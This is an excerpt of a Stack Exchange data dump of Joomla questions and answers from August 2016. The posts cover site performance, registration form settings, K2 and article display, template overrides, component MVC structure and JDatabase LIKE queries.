  <row Id="17408" PostTypeId="2" ParentId="17406" CreationDate="2016-08-07T00:25:41.093" Score="2" Body="&lt;p&gt;There are many ways to improve performance but not all performance enhancements will be compatible with your website or hosting environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best approach is usually to try out different combinations of performance enhancements, find the best improvements and test everything is still working on your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Minimising the number of third party extensions also minimises the likelihood that performance enhancements will cause an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The performance features provided with your template are often the best ones to use as they have presumably been tested and work well with your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling GZip is usually a good idea but does increase the load on CPU. If you are close to a CPU limit on your web hosting plan, this may not always be the best idea. There are usually resource utilisation monitoring tools included in your web hosting control panel (e.g. in cPanel) so you should be able to see the effect that enabling GZip has on CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things to watch out for when enabling performance tools are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check that styling is unaffected (some utilities combine CSS files but not in the original order which may affect styling)&lt;/li&gt;&#xA;&lt;li&gt;check form submissions and CAPTCHAs still work&lt;/li&gt;&#xA;&lt;li&gt;check extensions that rely on JavaScript (e.g. slideshows) still work&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-08-07T00:25:41.093" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17409" PostTypeId="1" AcceptedAnswerId="17420" CreationDate="2016-08-07T05:03:56.343" Score="0" ViewCount="510" Body="&lt;p&gt;How can I implement an input field mask for JForms in my component? Specifically I want a phone number mask something like (&lt;strong&gt;&lt;em&gt;)&lt;/em&gt;&lt;/strong&gt;-____. I only want users to enter digits and not have them enter parenthesis or dash. I also don't want to store the phone number with the parenthesis or dash.&lt;/p&gt;&#xA;" OwnerUserId="7739" LastEditorUserId="7739" LastEditDate="2016-08-08T18:10:46.563" LastActivityDate="2016-08-08T18:10:46.563" Title="How to implement a phone number field mask in custom component?" Tags="|jform|custom-component|form-fields-types|view|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17410" PostTypeId="1" AcceptedAnswerId="17411" CreationDate="2016-08-07T09:18:25.090" Score="0" ViewCount="46" Body="&lt;p&gt;I have the a registration form on my joomla site that users complete to register. Unfortunately, I can't see to find the link / pluggin / module to make changes to the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is someone familiar with form? If so, can they point to me where I can make the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my site is www.keylooplabs.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;a href=&quot;https://i.stack.imgur.com/uqXXF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uqXXF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-08-07T13:55:10.043" Title="Registration Form Amendment" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17411" PostTypeId="2" ParentId="17410" CreationDate="2016-08-07T13:55:10.043" Score="1" Body="&lt;p&gt;The user registration form is part of Joomla, and you can change the settings in the following places from your Admin area:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Users&lt;/strong&gt; -&gt; &lt;strong&gt;Manage&lt;/strong&gt; -&gt; &lt;strong&gt;Options button&lt;/strong&gt; (upper right corner)&lt;br&gt;&#xA;This will allow you to change how the registration process works.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Plugins&lt;/strong&gt; -&gt; &lt;strong&gt;User Profile plugin&lt;/strong&gt;&lt;br&gt;&#xA;Here you can change what fields are displayed, and if they are required or not.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/do8KW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/do8KW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make more changes, you need to create a template override by copying the file &lt;code&gt;ROOT/components/com_users/views/registration/tmpl/default.php&lt;/code&gt; to &lt;code&gt;ROOT/templates/YOURTEMPLATE/html/com_users/default.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-08-07T13:55:10.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17412" PostTypeId="2" ParentId="17406" CreationDate="2016-08-07T22:03:43.253" Score="2" Body="&lt;p&gt;Neil's answer and the comments are good explanations.  For testing, I recommend GTMetric.com as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specific to the site you mentioned, I have several YOOtheme template sites that I maintain.  After a lot of testing, I have found it is faster to disable all the tools in WARP, and go with a 3rd party plugin like JCH Optimize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.jch-optimize.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.jch-optimize.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-07T22:03:43.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17413" PostTypeId="1" CreationDate="2016-08-07T22:22:48.647" Score="1" ViewCount="583" Body="&lt;p&gt;As mentioned in the title, I'd like to know how to call the K2 current item's title &amp;amp; creation date in my template's &lt;em&gt;index.php&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to achieve is to display (if the user is on a K2 item's page ) the title and creation date of a K2 item somewhere else ( in the &lt;em&gt;index.php&lt;/em&gt; of my template for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that I'd like to completely move the title/created date from K2 items to a module position on my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a lot of researches but couldn't find anything but this, that works well, but only for Joomla article's titles, not K2's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$option = JRequest::getCmd('option');&#xA;$view = JRequest::getCmd('view');&#xA;if ($option==&quot;com_content&quot; &amp;amp;&amp;amp; $view==&quot;article&quot;) {&#xA;    $ids = explode(':',JRequest::getString('id'));&#xA;    $article_id = $ids[0];&#xA;    $article =&amp;amp; JTable::getInstance(&quot;content&quot;);&#xA;    $article-&amp;gt;load($article_id);&#xA;    echo $article-&amp;gt;get(&quot;title&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="8833" LastEditorUserId="5638" LastEditDate="2016-09-07T07:51:33.887" LastActivityDate="2016-09-07T10:45:05.713" Title="How to call K2 currently viewed item's title / creation date on my template index.php?" Tags="|templates|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17414" PostTypeId="1" AcceptedAnswerId="17415" CreationDate="2016-08-08T00:59:11.227" Score="1" ViewCount="489" Body="&lt;p&gt;My site is &lt;a href=&quot;http://rockridgencpc.com&quot; rel=&quot;nofollow&quot;&gt;http://rockridgencpc.com&lt;/a&gt;, running Joomla 3.6.1.  I've used Joomla!for several years, and my standard method for creating a new blog entry is to create an article, flag it &quot;Published&quot; and &quot;Featured&quot;, and save it. The category is &quot;-News&quot;, which I've often used.  I don't link blog articles to a menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created an article last Wednesday, and the article has never appeared at the top of the blog.  (I was out of town over the rest of the week.)  The system clearly knows it's there because the &quot;Latest Articles&quot; module lists it; but I want the text to show in the blog and it doesn't.  I created the new article on the same evening I upgraded to 3.6.1 - so I actually wrote it in 3.6.0.  But today I deleted the old article, and created a new article with the same text; and it won't display either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel I must be missing something stupid, can anyone advise me?  I'm trying to announce a meeting that takes place in about 5 days. Have there been other reports like this about Joomla 3.6.1?&lt;/p&gt;&#xA;" OwnerUserId="8834" LastEditorUserId="5638" LastEditDate="2016-09-10T11:06:18.087" LastActivityDate="2016-09-10T11:06:18.087" Title="Why won't my new blog post display at the top of the blog?" Tags="|joomla-3.6|featured-articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17415" PostTypeId="2" ParentId="17414" CreationDate="2016-08-08T04:40:38.503" Score="4" Body="&lt;p&gt;My guess is that your blog menu sorts articles by &lt;strong&gt;Article order&lt;/strong&gt;. Before Joomla 3.6 (? - sorry, I can't find a reference right now), new articles where added to the &lt;strong&gt;beginning&lt;/strong&gt; of the article order in your database, causing all existing articles to be &quot;pushed&quot; down. I think this was changed in the 3.6.0 update so that new articles where added at the end of your DB table, increasing the save speed on large sites since existing records would not have to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your articles to be ordered by date - most recent articles first. The setting for how articles are ordered is found under article options (Shared tab), but can also be overridden by your menu item, so you might want to check both places. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UZutN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UZutN.jpg&quot; alt=&quot;Article Options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Default setting for article order&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3ckGK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ckGK.jpg&quot; alt=&quot;Menu item settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Menu item settings, found in the tab &lt;strong&gt;Blog Layout&lt;/strong&gt; in your blog menu item. This overrides the default settings unless &quot;Use Global&quot; is selected.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-08-08T04:40:38.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17416" PostTypeId="1" CreationDate="2016-08-08T07:23:31.967" Score="1" ViewCount="264" Body="&lt;p&gt;In my joomla website, if i click on media manager, nothing is visible(i.e. everything loads except the images &amp;amp; folders), same thing happens in articles when i add the intro image or full article image.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3KRm3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3KRm3.png&quot; alt=&quot;image for reference&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the permission to the tmp folder and also to the images folder 777 .&#xA;Image added for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still nothing shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help???&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="3640" LastEditDate="2016-08-08T07:38:50.950" LastActivityDate="2018-07-11T06:48:55.377" Title="Nothing Visible in Media manager &amp; in Article Images &amp; links" Tags="|joomla-3.x|articles|media-manager|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17418" PostTypeId="2" ParentId="17398" CreationDate="2016-08-08T09:44:42.890" Score="2" Body="&lt;p&gt;First, you should learn how to make a Joomla component as @Nagarjun mentioned in his answer. Secondly, you must not add fields to &lt;code&gt;#__users&lt;/code&gt; table because it will be overwritten by future Joomla updates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add extra fields during user registration then you must use &lt;code&gt;user profile plugin&lt;/code&gt; and add extra fields. It comes pre-installed with Joomla. Or you can also create one yourself. Refer the following link:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Creating_a_profile_plugin&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-25/user-profile/copy-user-profile-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/support/edu/joomla-25/user-profile/copy-user-profile-plugin&lt;/a&gt; - there are 3 steps given for joomla 2.5 but will work for 3x as well.&lt;/li&gt;&#xA;&lt;li&gt;You can use also some third-party extensions like Community Builder, Joom Profile, etc&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-08-08T09:44:42.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17420" PostTypeId="2" ParentId="17409" CreationDate="2016-08-08T11:09:40.857" Score="0" Body="&lt;p&gt;Create your own field type to display custom content in your field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While creating your own field type, you may want to extend the existing form fields functionality. text field is one such option in your case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Text_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Text_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add client side validations using jQuery plugin like &quot;jQuery validations&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://jqueryvalidation.org/&quot; rel=&quot;nofollow&quot;&gt;https://jqueryvalidation.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-08T11:09:40.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17421" PostTypeId="1" AcceptedAnswerId="17438" CreationDate="2016-08-08T12:14:43.177" Score="0" ViewCount="741" Body="&lt;p&gt;I have created a &lt;code&gt;Categories&lt;/code&gt; menu item and wants to show only 5 articles per page. But can't find the option to add the limit in K2 component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly, let me know where I can change this limit for pagination.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-08-09T08:44:08.317" Title="K2: Show 5 articles per page" Tags="|joomla-3.x|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17422" PostTypeId="1" CreationDate="2016-08-08T15:07:45.023" Score="0" ViewCount="1556" Body="&lt;p&gt;I am looking to display my latest articles on my joomla website. Using the module latest articles I can display the articles titles but I am wondering is there a way to display an image along with the title of the article. At the moment it all looks very bland and boring.&lt;/p&gt;&#xA;" OwnerUserId="7416" LastActivityDate="2018-06-16T22:46:55.370" Title="Adding Images to Latest Articles module" Tags="|joomla-3.x|articles|module-style|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17423" PostTypeId="2" ParentId="14487" CreationDate="2016-08-08T15:15:29.320" Score="0" Body="&lt;p&gt;Use the tag form field type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Get custom field&#xA;$getInput = JFormHelper::loadFieldType('Tag', false);&#xA;$taginput = $tags-&amp;gt;getInput();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type#Not_linked_with_a_form&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type#Not_linked_with_a_form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-08-08T15:15:29.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17425" PostTypeId="1" CreationDate="2016-08-08T18:59:59.213" Score="1" ViewCount="94" Body="&lt;p&gt;I'm using JHtmlSidebar::addEntry() to build a menu in the sidebar. However, I need a better way to organize the menu items in there. I don't see a way to easily create a nested menu structure. I'm guessing that there isn't. If not, is there a way to add css selectors to the links that are created by JHtmlSidebar? What is the best way to organize items?&lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-08-08T18:59:59.213" Title="How to implement nested submenus in the administrative sidebar?" Tags="|joomla-3.x|component|development|custom-component|view|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17427" PostTypeId="1" AcceptedAnswerId="17429" CreationDate="2016-08-09T01:29:37.380" Score="0" ViewCount="327" Body="&lt;p&gt;This isn't a question about getting model data into another view. I can create a huge form with data from multiple models. But, is that necessary? Can a model display its view within the context of another view (similar to an object displaying itself)? If so, how? &lt;/p&gt;&#xA;" OwnerUserId="7739" LastActivityDate="2016-08-09T03:14:00.997" Title="Can a model display itself within the view of a different model?" Tags="|joomla-3.x|mvc|custom-component|view|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17428" PostTypeId="2" ParentId="17422" CreationDate="2016-08-09T01:53:21.390" Score="1" Body="&lt;p&gt;You're going to need to learn how to use template overrides for this (or find ones other people have made). It's probably the easiest way into Joomla, and a good way to gradually learn (at least a bit of) PHP; apologies if this isn't the case, but I'm going to assume you aren't overly familiar with it just in case. For the record, the documents for this are &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; - they're worth reading if you want to understand a bit more, but they can be quite impenetrable at first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've whipped you up a quick version though, you can use it if you want. For these examples I'll use &lt;em&gt;protostar&lt;/em&gt;, but replace &lt;em&gt;protostar&lt;/em&gt; with whatever the name of your template is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you want to override how the Latest Articles module is displayed, the file you need to find is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/yourJoomlaInstall/modules/mod_articles_latest/tmpl/&lt;strong&gt;default.php&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to copy this file into a new folder in your templates folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside your templates folder create a folder called &lt;em&gt;html&lt;/em&gt; if there isn't one already, and inside that &lt;em&gt;/html&lt;/em&gt; folder you have to create a folder with the same name as the module you're overriding (in this case &lt;em&gt;mod_articles_latest&lt;/em&gt;). For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*/yourJoomlaInstall/templates/&lt;strong&gt;protostar&lt;/strong&gt;/tmpl/html/mod_articles_latest/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now copy the default.php file from the module's folder into the one you just created for it in your templates folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time to edit it. I recommend getting Notepad++ if you don't have anything better (if you don't know if you have anything better, that means you don't).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've pasted the new code below. If you copy all of it and paste it over all the existing code in your template's copy of &lt;em&gt;default.php&lt;/em&gt; it should work. You'll get the Intro Images from your articles displayed under their link, but if you want to style it a bit more it'll be worth trying to understand at least some of it (for example, you can make the picture a link too by putting it inside the  tags). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put in some PHP comments to show you the changes I made and what they do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_articles_latest&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;latestnews&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($list as $item) :  ?&amp;gt;&#xA;    &amp;lt;li itemscope itemtype=&quot;https://schema.org/Article&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;            &amp;lt;span itemprop=&quot;name&quot;&amp;gt;&#xA;                &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;?php // Inserted code starts here ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // This gets the image data associated with the article and processes it so PHP can use it properly. ?&amp;gt;&#xA;        &amp;lt;?php $images = json_decode($item-&amp;gt;images); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // This checks the Intro Image exists and isn't empty. ?&amp;gt;&#xA;        &amp;lt;?php if (isset($images-&amp;gt;image_intro) &amp;amp;&amp;amp; !empty($images-&amp;gt;image_intro)) : ?&amp;gt;&#xA;&#xA;            &amp;lt;?php // This displays it. ?&amp;gt;&#xA;            &amp;lt;div class=&quot;thumbnail item-image&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&quot; itemprop=&quot;image&quot;/&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Inserted code ends ?&amp;gt;&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7064" LastActivityDate="2016-08-09T01:53:21.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17429" PostTypeId="2" ParentId="17427" CreationDate="2016-08-09T02:59:56.353" Score="1" Body="&lt;p&gt;Not by default, no. The model and the view basically don't talk to each other at all, all interaction between them is handled by the controllers. The reason the model is attached to the view is because it gets set as a property in the JControllerLegacy::display() method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model stores its associated view name as a string in its 'name' property, but it's not much use on its own as models don't have a display() method. Here's how a display task works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When it's time to display a page _GET has 'task' set to 'display' and 'view' set to whatever view you're going to.&lt;/li&gt;&#xA;&lt;li&gt;Your component's root .php file gets your root controller.php (which extends JControllerLegacy) and executes the method corresponding to __GET's 'task' value, yourController::display(). &lt;/li&gt;&#xA;&lt;li&gt;yourController::display() gets the view class using __GET's 'view' property.  &lt;/li&gt;&#xA;&lt;li&gt;yourController::display() uses the view class' name to get the associated model class and sets it as a view class property.  &lt;/li&gt;&#xA;&lt;li&gt;yourController::display() executes yourView::display().&lt;/li&gt;&#xA;&lt;li&gt;yourView::display() does its thing and outputs its template.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could override JControllerLegacy::display() in yourController::display() then also set the view as a property of the model, but you're better off chaining views' display methods instead. &lt;/p&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-08-09T03:14:00.997" LastActivityDate="2016-08-09T03:14:00.997" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17430" PostTypeId="1" CreationDate="2016-08-09T05:23:06.707" Score="0" ViewCount="1481" Body="&lt;p&gt;I'm new to joomla development.&#xA;I use joomla v3.6.2, and in home page, I have some article. Unfortunately when I click on article title or read more link, it will show me the full article but still in home page.&#xA;I read some solution, and what I try to do now is using hidden menu technique.&#xA;It works like what I want, but my problem now is how can I override the href of title and read more, so I can assign to the url to hidden menu.&#xA;I read some code in readmore.php in layout folder and it seems that I have to change value in this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;readmore&quot;&amp;gt;&#xA;&amp;lt;a class=&quot;btn&quot; href=&quot;&amp;lt;?php echo $displayData['link']; ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can anyone help me how to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="8839" LastActivityDate="2016-09-14T07:39:04.137" Title="How to assign custom link to Article title and read more?" Tags="|overrides|url|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17431" PostTypeId="1" AcceptedAnswerId="17432" CreationDate="2016-08-09T05:27:34.563" Score="2" ViewCount="1506" Body="&lt;p&gt;I would like to know how to perform pattern search using JDatabase&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('Common_name');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('common_name'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('Common_name').' LIKE '. $db-&amp;gt;quote('\'o%\''));&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8840" LastEditorUserId="7632" LastEditDate="2016-08-09T06:28:42.777" LastActivityDate="2016-08-09T06:28:42.777" Title="JDatabase Like Operator" Tags="|joomla-3.3.x|jdatabase|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17432" PostTypeId="2" ParentId="17431" CreationDate="2016-08-09T05:39:35.033" Score="5" Body="&lt;p&gt;try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;  -&amp;gt;select('Common_name')&#xA;  -&amp;gt;from($db-&amp;gt;qn('your_table_name'))&#xA;  -&amp;gt;where($db-&amp;gt;qn('Common_name').' LIKE '. $db-&amp;gt;quote($db-&amp;gt;escape('o%')));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList(); // use loadResult() for single value result&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Documentation is your best friend:&#xA;&lt;a href=&quot;https://docs.joomla.org/Accessing_the_database_using_JDatabase&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Accessing_the_database_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2016-08-09T06:01:52.767" LastActivityDate="2016-08-09T06:01:52.767" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17433" PostTypeId="2" ParentId="17430" CreationDate="2016-08-09T05:55:36.767" Score="1" Body="&lt;p&gt;Articles will inherit the alias of the menu items in the following order of menu items.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Single Article menu item (choose article in this menu)&lt;/li&gt;&#xA;&lt;li&gt;Category Blog/List menu item (of category the article is in)&lt;/li&gt;&#xA;&lt;li&gt;Home page menu item&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So if your url of the article is in following format without menu item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mywebsite.com/components/index.php/component/content/article/4-about-your-home-page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your url will become like this if you create:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Single Article menu item with alias as &quot;my-article&quot;&lt;br/&gt;&#xA;&lt;code&gt;mywebsite.com/index.php/my-article&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category menu item with the alias as &quot;my-category&quot; &lt;br/&gt;&#xA;&lt;code&gt;mywebsite.com/index.php/my-category/4-about-your-home-page&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So create the right menu item with right alias. Always avoid modifying Joomla! core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: index.php is intentionally striked down, it will go away if you enable url rewriting in global configuration (of course using mod_rewrite or any other)&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2016-09-14T07:39:04.137" LastActivityDate="2016-09-14T07:39:04.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17434" PostTypeId="2" ParentId="17416" CreationDate="2016-08-09T07:45:03.913" Score="1" Body="&lt;p&gt;I checked in firebug and found that iframes were not opening , checked with domain provider, they denied the permission of the x-frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue was soled by changing the permission for the X_FRAME.&lt;/p&gt;&#xA;" OwnerUserId="3640" LastActivityDate="2016-08-09T07:45:03.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
